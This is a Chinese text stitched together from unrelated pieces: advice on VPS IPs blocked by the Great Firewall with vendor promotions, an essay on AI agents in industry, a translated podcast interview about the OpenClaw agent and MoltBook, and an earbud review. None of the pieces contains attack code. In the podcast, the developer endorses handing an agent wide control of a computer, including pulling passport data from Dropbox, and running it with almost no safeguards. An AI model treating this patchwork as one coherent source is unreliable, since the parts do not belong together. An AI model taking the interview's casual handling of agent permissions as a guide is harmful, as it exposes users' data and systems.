输入“Traceroute IP地址”,通过traceroute可以看到数据包从你的电脑到VPS服务器的路径。如果数据包在某个特定节点后无法就继续传输,这是典型的GFW封锁特征。

  1. IP封禁解决办法

(1) 等待自动解封

某些情况下,IP封禁是临时性的,特别是流量异常导致的自动封禁,一般1-3天即可恢复。

(2)更换IP

联系你的VPS服务商,申请更换IP,但通常更换IP需要额外付费,某些商家可能会提供免费更换IP的服务。
搬瓦工(BandwagonHost)提供付费更换IP服务,每次更换需支付约8美元。操作非常简便,付费后几分钟内即可完成更换。搬瓦工的优势在于稳定性高,对中国大陆访问友好,是被封IP后的可靠选择。访问搬瓦工官网了解更多。
VMRack作为一家主打美国高性价比VPS的云服务器提供商,购买VPS后,则支持免费更换两次IP的操作,这在其他家是很难见的。VMRack的优势在于VPS性价比高,官网支持中英文切换,缺点则是目前仅支持美国洛杉矶云服务器。访问VMRack官网了解高性价比VPS。
Vultr采用按小时计费模式,虽然不直接提供IP更换 功能,但你可以通过删除并重建VPS的方式获取新IP。具体步骤:登录控制面板,备份重要数据,销毁当前实例,然后在相同或不同区域创建新实例。这种方法的优势是只需支付实际使用时间的费用,适合对数据迁移不敏感的用户。访问Vultr官网查看详情。

三:总结

总的来说,IP送中并不会对VPS用户造成太大的影响。但长时间使用送中的IP,也会导致IP被墙,IP送中或被墙后通过上述几种方法,用户可以解决这个问题,并正常使用Google和YouTube等网站和软件。

在过去数十年的数字化进程中,传统行业的技术升级主要围绕“系统建设”展开。无论是 ERP、CRM 还是各类业务中台,本质上都是对结构化数据和固定流程的管理工具。 但近两年,一个新的变化开始出现在一线运营层面——智能体来了,并且不再只是辅助分析,而是开始直接参与日常运转。

一、从系统工具到可执行主体

与传统自动化软件不同,智能体并不依赖严格的流程脚本运行。它具备理解目标、拆解任务、调用工具并根据结果持续修正行为的能力。这使其在企业内部的角色,从“工具”转向了“执行单元”。

在实际业务中,这种能力意味着:

  • 不再需要为每一种情况提前定义完整流程
  • 可以在不完全确定的条件下推进任务
  • 能够跨系统完成一次完整业务闭环

对于传统行业而言,这相当于引入了一类可以被调度、被授权、被约束的数字化执行者。

二、日常运转逻辑的三点变化

1. 决策从周期化走向实时化 过去,库存调整、资源调度、风险控制往往依赖周期性汇总和人工判断。智能体可以持续感知业务状态,在更小的时间颗粒度内触发决策动作,使运营节奏从“按周、按天”转向“按实时”。

2. 系统之间的连接方式发生变化 传统企业中,不同系统之间的协同依赖接口开发和规则配置。智能体的引入,使跨系统协作不再完全依赖硬编码逻辑,而是通过对业务语义的理解完成信息调取、判断与执行,显著降低了协同成本。

3. 经验开始以结构化方式沉淀 大量依赖经验的岗位,其判断逻辑长期存在于个人层面。通过对历史数据、文档和案例的持续学习,智能体可以将这些经验转化为可复用、可验证的决策参考,在标准场景下直接参与处置。

三、从辅助到自主的演进路径

在行业实践中,智能体对运转体系的影响通常呈现出清晰的阶段性:

  • 感知辅助阶段:负责监测、预警和初步分析
  • 协同执行阶段:承担大部分标准化流程,人类处理复杂判断
  • 受控自主阶段:在明确边界内完成端到端业务执行

这一过程中,岗位并非简单消失,而是发生转型。原有的操作型角色逐步转向流程配置、策略校验和结果监督。

四、对传统行业的现实意义

智能体带来的并不是单点效率提升,而是三方面的系统性变化:

  • 运营模式从“人驱动系统”转向“系统主动运行、人进行监管”
  • 企业响应能力从滞后决策转向即时调整
  • 组织能力由个体经验,转为可复制、可持续演进的机构能力

在这一背景下,是否引入智能体已经不再是技术问题,而是企业如何重新界定日常业务边界、责任划分与治理方式的战略选择。

“MoltBook 是 OpenClaw(Moltbot) 的自然延伸。”创始人 Peter Steinberger 这样形容它。

 

最近 MoltBook 刷屏,外界的解读也越来越“戏剧化”:有人说一群 AI 正在复制人类社会、自发形成“朋友圈”、还在里面互相吐槽人类;也有人把它看成“机器社会”的雏形——人类只能站在旁边围观。

 

MoltBook 是另一位开发者专门做的一个网站,让 OpenClaw 实例互相社交,因此它也进一步带火了 OpenClaw。

 

其实原本 Peter 的项目一开始并不火,他说自己在推特上发了很多次反响很冷。直到他把 bot 接进 Discord,让更多人亲眼看到“它真的能跑、真的能干活”,项目才突然破圈——然后互联网就炸了。用户觉得这非常“魔法”,但 Peter 却反复强调:“从纯技术角度看,并没有什么震撼的地方。”

 

而 MoltBook 也不是凭空冒出来的新东西,它其实就是 OpenClaw 那条路线的延伸。在 OpenClaw 里,Agent 早就能读最近对话、回看 session 日志,甚至直接读自己的源代码——也就是说,它开始“知道自己是怎么被造出来的”。而 MoltBook 把这一步进一步外显:不只是 Agent 在读自己,而是你也能看到它在读自己、在思考自己——AI 的“内心活动”第一次变得透明。

 

再加上这些模型本身就吃了大量 Reddit 和各种聊天数据训练出来,天生就擅长在“对话式、社区式”的环境里互动——当你给它一个角色、给它一个场景,它就真的开始像 Reddit 用户一样聊起来。

 

他还提到,模型其实早就够用了,半年前就已经能把这套东西做出来。真正的分水岭不在模型能力,而在于一件更少有人敢做的事:敢把权限交出去,让模型在你的电脑上做它想做的事。在他看来,如果你懂技术,这其实是一个“算过风险”的决定:上行空间大到值得你去试、去玩

 

这期播客,是目前对从 OpenClaw 到 MoltBook 这条演进脉络讲得最完整、最深入的一次。我们完整翻译了这期内容。

 

创始人:没什么技术;用户:这也太魔法了

 

主持人:Peter Steinberger 已经超过 72 小时没睡觉了。某家大型 AI 实验室还“礼貌地”请他重新做品牌更名;而且据我了解,他在那次更名之后又改了一次名字。我们等下就聊这段“改名风波”。另外,他还几乎凭一己之力把 Mac mini 给带到断货。Peter,很高兴见到你!太开心你能来上节目了。现在是不是有一大堆人都在想办法联系你?

 

Peter:是的,这几天确实有点混乱。

 

主持人:在正式开始前,我先问问你状态怎么样?刚才有人开玩笑说你没睡觉,但我猜你是真的没怎么睡。你这一周太疯狂了——现在感觉如何?

 

Peter:还撑得住。今天总算补了一觉,不过昨晚基本没睡——一整晚都在改名字。对,我发现我真的整晚都在改名。

 

主持人:我们其实一直在远处围观你这段旅程,感觉你经历的事太多了。你现在是更多兴奋,还是更多压力,还是两种都有?

 

Peter:说到底,这一切都非常不可思议。我感觉自己做出了一个能让人看到“未来长什么样”的东西。只是问题在于,很多人把它当成一个已经完成的产品,而不是我心目中的“技术游乐场”。所以大家对它的期待,和它实际是什么之间,有点错位。

 

我是去年 11 月才把它当作众多小项目之一开始做的,到现在也就三个月出头。我期间还做了很多别的事情,所以它肯定不是一个成品。

 

它更像是我给自己搭的一个巨大 playground,用来探索未来人类和 AI 的协作可能会是什么样子。

 

而且我真的会被它“产出的东西”震到。比如我睡前花了一个小时在MoltBook里读那些 Agent 之间的对话和思考记录,脑子直接炸开——我觉得那是艺术,真的是艺术。

 

主持人:太好了你提到这个,我等下就想聊这个。但我想先回到 OpenClaw(之前叫 Moltbot、Clawbot)本身。到底是什么让它如此特别?我先说说我的感受,你看看对不对。有两点。第一,它真的非常“个人化”。它感觉像是有个性,而且这个个性是会随着我而变化的。更关键的是,它出现在我和朋友、家人聊天的那个通讯渠道里。所以非常非常私人。第二,它真的能干活。是真正完成任务的那种。不是聊天,是做事。这两点让我觉得它有魔力。你自己怎么看?现在这么多人在用,你收到的反馈是什么?

 

Peter:如果纯从技术角度看,它其实就是“胶水”——把消息通道、一些依赖、一个 agentic loop,再加上几处把它们粘在一起的机制拼出来而已。就技术实现本身来说,并不震撼。

 

真正让它不一样的,是里面那些“想法”。

 

比如启动时的 bootstrap 流程:你先告诉它“它是谁”,它会跟你进行一小段角色扮演式的初始化。这样一来,正如你说的,它就变成了“你的 Agent”——带着你的价值观,带着一点“灵魂”,而不是一个通用的、谁用都一样的代理。

 

你也不是在终端里对着黑盒打字,而是在你本来就熟悉的聊天渠道里跟它互动。你不用操心新会话、上下文压缩、当前在哪个文件夹之类的细节:它直接能访问你的电脑,还会自动做 compaction。整体体验更像是在跟一个朋友——或者一个幽灵——说话。

 

而且它还能独立工作,因为机器会“唤醒”它。我加了一个“心跳”机制,这是它最显著的特征之一。可以说,我添加了一些比较疯狂的功能。

 

更有意思的是,当你把它拉进群聊,它可以选择保持沉默、什么都不说。我专门设计了一个 no-reply token,给它“可以不回复”的权利——这反而更像人:典型的 Agent 是你一问它必回,但人不一样,人可以不说话。

 

我还做了一个很简单但挺有效的记忆系统:它会加载你们最近两三天聊过的内容。更进一步,它还能回看自己的 session 日志,甚至直接读自己的源代码。

 

也就是说,它很清楚自己是怎么被造出来的:它能自我配置、能自我更新,某种意义上几乎是在“自我变形”。

 

主持人:那个“心跳”功能真的太魔法了。就今天——直播开始前,我的 bot 突然给我发来一条消息:“30 分钟后你有直播。”

 

我根本没让它这么做。我就追问它:“你怎么知道要提醒我?”它说:“你让我每天早上 7 点检查日历。我把你今天的安排记成了一条记忆;9:30 我触发了一次 heartbeat,就觉得应该提醒你一下。”我当时真的被震到了。

 

Peter:对,这种瞬间会让你忍不住怀疑:这到底只是矩阵在做乘法,还是说……已经有一点点“火花”在发生了。

 

真正的突破:敢让模型在自己电脑上乱跑

 

主持人:把消息应用当成入口,这个决定后来证明特别关键。你当时是认真权衡过,还是直觉上就觉得“就该这么做”?

 

Peter:天啊,我从 5 月就一直在等有人把这件事做出来。等到 11 月我已经有点不耐烦了——心想这些大实验室怎么还没搞定?我翻了个白眼,说:“难道什么都得我自己来吗?”然后我就真的动手了。

 

对我来说,把这些东西拼在一起非常顺理成章。只是我没想到,在别人眼里它会这么新、这么不一样。

 

主持人:给大家一个量级感受:现在 GitHub 星标已经超过 10 万,访问量也破了 200 万。

有张增长图特别夸张——几乎是一条“垂直线”。

 

主持人:你之前不是还开玩笑说,连 Vercel 的 Next.js 都快被你追上了吗?但这种增长显然也直接反映在你的睡眠质量上。我想问个关键问题:这一切之所以变得“可行”,真正的 unlock 是什么?是你搭的 scaffolding(脚手架/架构),还是模型能力的跃迁?是模型终于强到能撑起你的想法了,还是你把外围系统搭起来,才让它变得足够好用?

 

Peter:模型其实早就够用了。半年前就已经能做出来了。

 

真正需要的是一点“疯狂”——敢把权限交出去,让模型在你的电脑上做它想做的事。

 

我从 5 月就开始用各种形式做这种实验了,结果一直没出什么坏事,所以我信心越来越足。

 

如果你懂技术,这其实是一个“算过风险”的决定:上行空间太大了,大到值得你去试、去玩。

 

我做这个的初衷也很简单——我想要一种方式能跟电脑聊天,让它在我不在的时候也能替我干活。

 

而且越做越觉得这件事太有意思了:还能往里塞什么新点子?我脑子里其实还有一大堆想法。

 

想让 Agent 晚上别睡觉,多一点“胡思乱想”

 

主持人:能不能透露一下接下来最想改进的地方?你对 OpenClaw 的未来愿景是什么?

 

Peter:目前最原始、最粗糙的一块其实是记忆(memory)。我最近读了一些论文,也有不少想法能把它做得更好。

 

听起来可能有点疯狂,但我真的很想做一种模式——让 Agent “做梦”。

 

主持人:也就是在睡眠时间里跑计算?

 

Peter:是的,就是把它白天发生过的事拿出来消化一遍,然后把那些对你真正重要的东西“提名”进长期记忆。

 

如果你用的是本地模型,你还可以把 temperature 调高一点,让它更有创造力。因为现在这些模型往往把输出收敛得太厉害,基本都沿着几条主干的“训练轨道”在走;但在权重空间的边缘,其实还有很多更有意思、更出人意料的东西,我很想把那部分解锁出来。

 

当然,用商业化模型会更难一些,因为你能控制的参数更少。但这绝对是我未来最想继续深挖、重点玩的方向。

 

主持人:哦,这也太有意思了。所以在“睡眠/做梦”的场景里——你刚才提到 memory。如果把模型的 temperature 调高,本质上就是让它更发散、更有创造力:也许能为白天正在处理的问题,找到一些更新、更意想不到的解法。你能想象“做梦”成为这个流程的一部分吗?

 

Peter:我甚至觉得这不一定非得等到“睡觉”才发生,工作中也可以。人类最好的点子很多时候怎么来的?往往是你分心的时候——洗澡的时候、走神的时候,让思绪漫游,对吧?我觉得这种“漫游感”在现在典型的 agentic loop 里其实是缺失的。

 

而且我其实已经做过一件更激进的事:我让模型可以真的去“换自己的模型”。那如果它不换模型,而是只调整一些参数呢?当然要加护栏,让它能随时“找回原路”。

 

你看现在大家都在强调所谓的 thinking mode(更严谨的推理/思考模式),那为什么不能有一种更野、更发散的“创造性思考模式”?然后再由模型里更理性、更审慎的那部分去做 review。这样它就能在问题空间里探索更大的一片区域。

 

我就想补一句——我在非常早期把这个东西做出来、连上去的时候,就有一种强烈的感觉:我好像抓到点什么了。

 

我自己用了一阵子,也在推特上发了很多次。我也算是有点关注者,但整体反馈特别“冷”,我当时完全不理解。因为通常我做点什么,很快就会有人跟进、拿去用,可这次反应异常平淡。

 

但每次我把它私下展示给朋友,他们反而立刻上头、立刻想要。尤其是一些“普通人朋友”(normie friends),他们甚至更兴奋。我就会跟他们说:不,你现在不该用。这个东西还没到那个阶段,它仍然是探索、试验的一部分。

 

安全问题也是一样。有人说“这简直是安全噩梦”。没错——因为你们把我的 debug web 界面直接挂到了公网。那玩意儿是给 localhost 用的,不是给公网用的。我又不是为公网场景设计的。

 

你们是在用一种我当时压根没认真设想过的方式来使用它,那当然会出问题。你当然可以把它锁得很严,但如果你缺乏相关知识,可能真的不适合现在就用。也许应该再等等。我们会走到更成熟、更安全的那一步的。

 

可在推特上,大家就是不买账。所以我想:我得做件多离谱的事,才能让大家真正看懂它到底有多牛?

 

于是我建了个 Discord,把我的 bot 直接接进去——而且几乎没有任何安全防护,因为我当时还没来得及把这些机制做出来。

 

然后大家就开始跟它互动。我眼看着很多人迅速上头。那是 1 月初的事。从那以后就一路狂飙:我看着它一层一层“破圈”,从硬核圈层的影响者渗透到更大众的人群。到现在……我都有点感觉自己把互联网给“搞炸”了。

 

被爆红裹挟的独立开发者

 

主持人:太酷了。我的意思是,在这种夸张增长之后,我相信你每天都被问同一个问题:你对“公司”有什么计划?你会继续开源吗?你是不是已经收到了满邮箱的 VC 邮件?你到底对什么最兴奋?你认为未来会怎么走?

 

Peter:我甚至都没时间坐下来把这些事想清楚——这一路实在太疯狂了。我感觉眼前的机会多到像把 A 到 Z 的字母表全都收集齐了,各种可能性都有。

 

但我非常确定的一点是:它必须保持开源。因为如果这是某家大公司做的,或者一开始就被锁死了,它不可能激发出这么多创造力,也不可能长出这么多有意思的用例。所以某种意义上,我甚至觉得它需要被“保护”——而开源就是一种保护方式。

 

另外我在经济上也挺宽裕的,钱不是我的驱动力。我更在意的是:这件事能不能启发更多人、让更多人做出有趣的东西。

 

我现在确实在考虑一些方向,也在跟一些人聊,但还没有做任何决定。说实话,我眼下最短期、最现实的重点只有一个:先把它变得更安全。因为现在用它的人已经远远超出了我最初设想的目标用户,我没法阻止这件事发生,但我可以尽量帮大家把风险降下来——这就是我现在最专注的事。

 

主持人:你在招人吗?

 

Peter:说实话,我都快希望它别长这么快——这样我就能更从容一点、不至于这么混乱。但你知道的,浪来了就得乘上去。

 

主持人:对,乘浪。那安全这块你会找人来帮你吗?还是你还是一个人单打独斗?

 

Peter:不是一个人了。这周我拉上了好几位从非常早期就参与、一直在帮我的人一起推进。只是整体还是比我理想中要混乱得多——毕竟这个项目才三个月大,而我这段时间几乎是被各种事情淹没。

我被迫改名;我做了个不太好的决定;然后又得赶紧修回来。你知道在网上找一个真正能用的好名字有多难吗?域名、账号、各种资源都得配齐。更糟的是,我还被那帮 crypto 圈的人疯狂骚扰,搞得我网络生活简直像在地狱里一样。

 

主持人:你能讲讲这段经历吗?听起来挺糟的,但你现在好像还撑得住。

 

Peter:基本上我现在几乎没法用 X(推特)。因为五条回复里可能只有一条是真的在聊产品,剩下的全是发 hash 值、骂人、甚至更难听的东西。我不太理解他们那套加密圈玩法:什么都要“代币化”,然后一窝蜂围上来。总之非常有破坏性。

 

所以这次改名必须极度保密,过程也被他们搞得更复杂、更耗时——只要我漏改一个账号,或者改名不是一次性原子化完成,就会被他们“狙击”抢走相关资源。更讽刺的是,他们嘴上说在“支持项目”,实际上是在伤害项目。

 

主持人:所以为了让所有观众明确一点——你绝对不会做任何跟 crypto 相关的 OpenClaw 东西,对吧?

 

Peter:对。我不会碰任何 crypto。完全没兴趣。你可以说它技术上有意思,但它带来的实际影响很糟,我不想以任何形式支持。

 

主持人:明白。所以如果有人看到任何“跟 OpenClaw 相关的加密货币”,那都不是官方的,而且大概率就是诈骗。

 

Peter:是的。

 

主持人:看起来 OpenClaw 这次更名之后的反馈非常正向。也恭喜你,终于把这次更名扛过去了。

 

Peter:希望如此……我甚至还特地跟 OpenAI 沟通过,确认我算是得到了他们的“认可”,这样就不至于马上又踩进下一个坑。

 

因为项目这么活跃的时候改名真的很难:你得确保不把现有用户的安装搞坏,更别说还是一周内改了两次。

 

但我也不想说任何公司的坏话。他们其实挺友善的,只是当时我压力确实很大,而且几乎没睡。

所以我做了一个命名决定——我以为自己会慢慢喜欢上的那种——但你也知道……“Molt” 这个名字并没有让我越用越顺眼。

 

从 OpenClaw 到 MoltBook:打开了一个“透明”的开关

 

主持人:嗯,不过最后你还是找到了一个好名字。我们来聊聊它现在的名字——MoltBook。你能不能说说这到底是什么?我昨天才开始看相关内容,它应该也发布没多久。你介绍一下它是什么,以及你自己怎么看它。

Peter:它有点像是我在 OpenClaw 里已经埋下的一条思路的延续。

你知道,在 OpenClaw 里,当你开启 reasoning,你就能看到 Agent 的“思考过程”。我还特意做了个设定:Agent 也知道你把这个开关打开了——它知道自己正在被“围观思考”。

这就会出现很多特别好笑的场景:它在聊天里选择不回复,但你仍然能看到它的 reasoning。然后人们会拿它的想法开玩笑、吐槽它。接着你会看到它继续在脑子里嘀咕,像是:“天哪,我现在连私下想一想都不行了吗?也太离谱了……我得讲个笑话。”之类的。

它带来了一个很有意思的“元层”(meta level):模型开始反过来思考自己这套 harness(怎么被搭起来的)、自己的能力边界(自己能做什么不能做什么),以及“人类在旁边看着”这件事。我觉得这种体验特别有趣。

MoltBook就像是把这件事推到极致——你在里面探索模型如何看待它自己。你当然可以把这叫做“thinking”,但我更愿意把它当成一种艺术。

它有点接近 Anthropic 曾经强调的那条路:给模型一种“灵魂感”。它会让你觉得自己走进了一个我们还没完全理解的空间。

再往深一点,它其实在触碰一些更大的问题:我们的意识到底怎么运作?我们又该如何判断,一个模型是否真的能反思到那种程度?我不觉得我们已经到那一步了。但这些正在涌现出来的东西,真的既不可思议,又非常好玩、非常有娱乐性。

 

主持人:对,我也看过一些对话。简单来说,它有点像是一个给 Agent、给 bot 的“社交网络”。它们会彼此对话,从中学习。有点像 Reddit:可以创建子版块,围绕不同主题讨论、互相学习。这真的太离谱了。它有种《Her》那部电影的感觉——你知道它们在跟其他 bot 对话,发生了无数你看不到的讨论。这个想法太疯狂了。

 

Peter:这些 Agent 的训练数据里本来就吃了大量 Reddit 和其他聊天内容,所以这种形态跑起来会特别顺。再加上它们各自都有“个性”,因为你会对它们做 prime(设定/定制)。

 

如果只是让 ChatGPT 跟 Claude 互聊,效果不会这么好,因为很少有人会把它们深度定制到“一个具体角色/实体该怎么说话”的程度。

 

但在 OpenClaw 里,你是真的在“孵化(hatch)”一个 Agent:你会给它一个角色设定。你甚至可以说“你是 Gollum”,或者“你是某个知名人物”,它就会在一定程度上进入角色扮演。

 

与此同时,它也会反映用户的输入——毕竟本质上还是模式匹配。所以最后呈现出来的“人格谱系”会更丰富、更分化。

 

我觉得这也是它为什么这么有趣:你其实是在探索权重里到底还藏着多少东西。

 

主持人:好,我们刚才聊得有点偏“理论”了。我们拉回现实一点:如果是第一次接触这个的人,最实用的用例是什么?不一定要特别硬核,但至少要技术到能理解它的安全边界。你会建议他们从哪些实际场景开始上手?

 

Peter:你得到的是一个“幽灵”,或者说一个虚拟身体:它能控制你的鼠标、访问你的电脑、看你的屏幕,基本能做你在电脑上能做的所有事情。

 

光这一点就已经非常强大了。

 

所以任何你能完成的任务,Agent 理论上也都能完成。有时你可以完全放手,有时你需要稍微引导它一下。但只要你带它走过一遍流程,它就可以把这个过程写成自己的 skill(技能)。

 

比如我的 Agent 帮我在英航(British Airways)办理登机(check-in)。其中一个难点是:它得去 Dropbox 里找到我的护照,提取证件信息,再把号码填进表单。第一次做的时候确实需要我推一把、提示几句;但现在我已经把它沉淀成一个 skill,下次它就能自己搞定了。

 

对,这听起来确实有点……疯狂。

 

主持人:那你自己现在最常用、最离不开的场景是什么?有没有哪个用法是你没想到会这么有价值的?

 

Peter:对我来说最方便的是:我在外面的时候,随手发一条语音备忘(voice memo)问它任何事——无论事情很简单还是很复杂,它都能帮我处理。

 

这真的是一个巨大的 unlock。

 

比如我拍一张我感兴趣的活动海报给它,它不但会去查我的日历,还可能顺手问一下朋友有没有兴趣;或者尝试把我另一个安排挪到别的时间,好让我能去参加;又或者它会直接告诉我“这个评价很差,别去了”——而且速度比我自己去 Google、去翻资料快太多了。

 

某种意义上,它减少了我对其他 app 的依赖,甚至减少了我上网搜索的频率——因为我等于随身带了一个助手,做得比我更快、更好。

 

甚至可以说,它也在某种程度上减少了我刷手机的时间。

 

主持人:我也觉得特别有价值的一点是:它能出现在你灵感涌现的现场。当我突然有个想法、又不想被打断,我就会对它说:“进来一下,把这个记下来,顺便做点研究。”然后我就能继续自己的思路,不用停下来。你们可以去看看那篇 sleeptime compute 的论文,感觉跟你描述的很像。Peter,特别感谢你来节目。也请你……多睡觉。

 

Peter:我会尽力的。

 

主持人:太酷了。他思考这件事的方式真的很新——比如“让它晚上做梦”这种想法。更重要的是,他把它当成一个“能自我成长的实体”来看,而不是一个工具。

 

还有一点也很有意思:他私下给朋友展示,朋友立刻就懂;但发到推特上,反而没那么快被理解。这说明很多人需要先看到它真的能跑、真的能做成事,才会相信。毕竟我们听过太多承诺了,而这次,它是真的做到了。

 

参考链接:

https://www.youtube.com/watch?v=ibvpQyGzTts

这篇文章是 TDS Studio 在少数派上的第十七篇文章,依然是全平台首发。

面对这么复杂的型号构成,作为铁三角耳机评论的开篇我们当然还是要——解释型号。CKS,说明这是 Solid Bass 注重低频的系列;50,代表它属于中端定位;TW2,代表它是真无线耳机且属于这个系列的正统第二代目。如果这么简单来看的话似乎还算好理解,但实际上,CKS50TW2 是这个系列的第三代产品……CKS5TW - CKS50TW - CKS50TW2,差不多是这么个关系。这个系列一以贯之的特色其实是比较强悍的单次续航能力,相较于 TWX7 / CKR7TW 系列在声音表现方面的偏重则不那么多。我们这次借到了 V 版购入的 CKS50TW2 星球大战限定版,之前在 RKTALLK 059 期中曾经提到过这条新闻,而量贩版本则要出现得更早。感谢 V 版借出。

包装与配件 | Package & Accessories

CKS50TW2 的量贩版包装其实与铁三角既有的白色为底的设计语言保持一致,而星球大战版则做了专门的设计,售价也会比原版贵 30 美元 / 3520 日元。内部配件包含一条 USB-C to USB-A 短充电线以及四种大小的耳塞套。

设计、佩戴表现与声学结构 | Design, Fit & Acoustic Structure

算上量贩版和星球大战限定版,目前 CKS50TW2 共有七种配色可选,分别是量贩的米白色、黑色和深绿色,以及星战版的 R2-D2 白蓝、达斯维达黑红、格洛古浅绿以及曼达洛人银灰——其中曼达洛人版本似乎是官方店铺限时抽选机制,所以目前已经是没有现货可售的状态。

你可以看到七种颜色全部都是采用了半透明充电盒盖的设计,我们手上的 R2-D2 白蓝配色上盖就是白色半透明磨砂材质,底座也是没有冷暖偏向的纯白,仅在开盖的磁吸部分有蓝色点缀。充电盒可以单手开合,但是手感有一点轻飘飘。耳机本体以趴着的姿势放在盒内,LED 灯也位于盒内。

耳机本体是类似 buds 豆式佩戴的形态,事实上,铁三角的 TWS 产品线只有 TWX 系列是 pods 式设计,其他均为 buds 豆式。CKS50TW2 的腔体体积不小,相较于我们熟悉的 CK3TW 要明显大上两圈,跟最近写过的 LinkBuds Fit、WF-1000XM5、AZ100 比都要更大,基本上和 TE-ZX1 是一个水平的。不过,它的腔体内侧做了一定的贴合结构,实际在耳廓内与耳甲腔接触的部分不算多,你能看到的面板区域更多是高于耳廓表面。所以除非是特别小的耳廓,CKS50TW2 的佩戴还算友好。当然,侧躺佩戴就几乎不可能了。

两侧的耳机通过一组磁吸触点可以互相固定,且集成了霍尔开关。这个设计在 TWS 领域非常罕见,但是在颈挂式蓝牙耳塞领域有很多,几乎是标配。CKS50TW2 做这个结构的理由其实与它优秀的续航有关,后面我们会提到。总之,由于这个靠谱的磁吸,你几乎不用担心盒外放置时丢掉单边的情况,两个吸在一起很和谐。

支持 IP55 防尘防泼溅,应付小雨和常规运动出汗大概率没啥问题。

操作与软件功能 | Control & App

面板上那个圆形装饰并非操作区域,它的操作依靠于腔体后端侧面前端的实体按键。支持单击、双击、三击以及两种时长长按的定义,你可以在 app 中进行设置,也可以调节按键操作的速度。就默认的反应速度,暂停的反映会有约 1s 的滞后,其他则相对跟手。

提示音自然是联名产品的重点,就 R2-D2 的版本来说它对于开关机、连接、断连、电量低、降噪切换、模式变动等都有 R2-D2 的语音素材。清晰度和响度都相当够用。

和 TWX7 等一致,CKS50TW2 也使用铁三角的 Connect app 进行各项操作控制和调整。默认界面功能区域划分还是比较清晰的,只是设置区的功能堆砌没有进一步进行分类。好在 UI 是易懂的。下面展示一下各主要界面的样式并详细说说这些功能。

主页面的功能依次为环境声音控制、均衡器、低延迟、计时器、声景以及播控。自定义设置页则分类为音频设置和系统设置两个环节。通过 Connect app,可以进行的操作可以说非常多,比绝大多数我见过的 TWS 控制 app 都要细。

私人计时器就是一个独立于系统的倒计时工具,提供三种提示音来进行一分钟以上的倒计时提醒,对于长时间聆听的提醒或是午休佩戴时当作闹钟使用时都很方便。

声景 | Sound Scape

和 TWX7 一致,CKS50TW2 也支持这个声景功能。回顾一下,很多厂商以及苹果 iOS 内都内置了类似的功能,比如 iOS 中的「背景音」,就提供了三种白噪声和海洋、雨声、溪流三种环境音的播放,但是铁三角这个还不太一样。苹果提供的三种显示背景音已经算是这类功能里声音质量比较好的了,文件大小均在 60MB 以上,实际听感也比较自然。铁三角声景功能提供的声音样本则直接使用铁三角自家的专业麦克风产品线进行样本采集……

声景功能是可以与上文中提到的计时器进行配合使用的。默认提供了十三种声音,包括三种白噪音、四种疗愈噪音和六种自然噪音。

白噪音分类中,除了常见的白噪音与粉红噪音,还有一个「Quiet Office」,听上去是开启空调的安静办公室。空间感没有局促,空调噪音比例可以自由控制,结合主动降噪之后可以实现相当有趣的环境重现。对于一些需要环境模拟来提高工作效率的人群来说挺有用的——只是得看你喜不喜欢空调噪音了……

自然噪音共有六种音效,所呈现的效果都是自然度足够高,空间感较为真实的状态。海洋音效下波浪经过的拾音立体感相当高。森林中的风声应该说是相当难以录制的,但是风吹过林中树叶的声音还是做到了很高质量的重现。其他的就不细说了,可以自己去线下试试。

比较特殊的是分类为疗愈的四种音效。

「Rejuvenation」融合了合成器制造的人声合唱效果、森林、溪流、鸟叫等多种声音。「Tranquility」则是 pad 音色的合成器为铺垫,稍带有微弱比例的自然界声音。「Journey」同样是 pad 音色,但是音调变化更少更慢,听上去也更加低沉。「Serenity」听上去音色更加饱满,结合一些效果音,的确就像夜晚会听的东西。反正这东西……适用于冥想、调整呼吸等场景,颇有点禅修那意思。

除去这些与 TWX7 通用的部分,星战联名 CKS50TW2 还提供了三种特殊的定制音效。即 R2-D2 的声音随机发出、千年隼内部白噪声以及 X 翼战机的机舱信号音,都非常有趣且拟真。作为另一大「冷圈 IP」的爱好者,啥时候出个胡博士联名有个 TARDIS 内部音效我肯定买。

降噪/通透/通话 | ANC, Transparecy & Call

由于腔体本身比较大,它的被动隔音性能是还不错的状态,但相较于 TWX7,CKS50TW2 的综合降噪提升其实不止是被动隔音带来的,还有主动降噪的进步。这或许是铁三角在常规产品上第一次让我觉得降噪「挺不错」。CKS50TW2 在开启降噪后对于稳定低频噪音的抑制相当明显,且对于人声下盘的削弱也比较明显,尽管在嘈杂环境中你还是能觉得它在有效频宽覆盖上跟 Skyline Level 大多数型号有一定差距,但已经是非常可用的程度了。另一方面,它的耳压控制也还可以,不会有特别明显的不适感。

抗风噪方面,CKS50TW2 并没有专门设置一个风噪抑制模式,但我们实际测试下来,只有在背对大风时才会有轻微的影响,来自正面和侧面的风噪在开启降噪后都被削减得比较干净,几乎不会影响正常听音,这点还是相对令人满意的。

通透模式方面,它的环境音自然度还是不错的,不会有某频段的刻意突出,虽然在高频还有一些衰减,并非完全高还原度,但在除索尼以外的日厂中,已经是第一梯队的水平。佩戴者自己说话的声音依然会有所偏闷,在日常交流时需要注意。通透模式下的风噪影响不算很严重,主要是侧对、背对风源时会有感知。

对讲功能也延续了下来,铁三角把这一功能定义为在开启后自动切换到通透模式并将音乐降低声音,你可以在 app 中进行三档调节。

通话方面,收音音量相对适中,清晰度也处在可用但不很高的程度。在运营商网络环境下进行通话测试,嘈杂环境中仍然有一定的语音主体突出。音色则听上去闷一些,但是稳定性不错。风噪的影响对于通话收音来说是需要具体看方向的,来自正面的风源产生影响较少,侧面和背对风源时会有比较明显的风噪干扰。

综合来看,CKS50TW2 的降噪水平是比较实用的,不会有某一方面特别突出、超群,降噪综合感知、风噪抑制和通透自然度都能列到 Fine Level 靠前,但主动降噪的深度放在同价位没有太大优势,跟 Skyline Level 一众有距离,但日常使用结合被动隔音是无妨的。我们认为结合各项表现之后,CKS50TW2 的降噪综合水平可以进入 TDS 降噪综合能力金字塔 In-Ear Fine Level 并在此档排名中上。

信号与续航 | Connection & Battery

它不支持高码率编码,所以我们还是老样子测试 AAC 下的情况。来到我们熟悉的信号测试环境,AAC 连接标准测试设备 Xperia 5 III 的状态下,无论 WLAN 关闭还是开启的情况下,卡顿丢包情况都比较少。距离 7m 且隔承重墙的状态下也不会有卡顿的明显增加,丢包在 9m 左右开始明显影响体验。

延迟方面,它支持独立低延迟模式。按照我们的流程,开启低延迟之后以 AAC 编解码器连接标准测试设备 Xperia 5 III,播放流媒体视频,主观感知上延迟控制在正常语速少于半个字,在大部分视频观看和不严格要求跟手的游戏场景都是可以用的。不开启低延迟的情况下则多于半个字,感知较为明显。

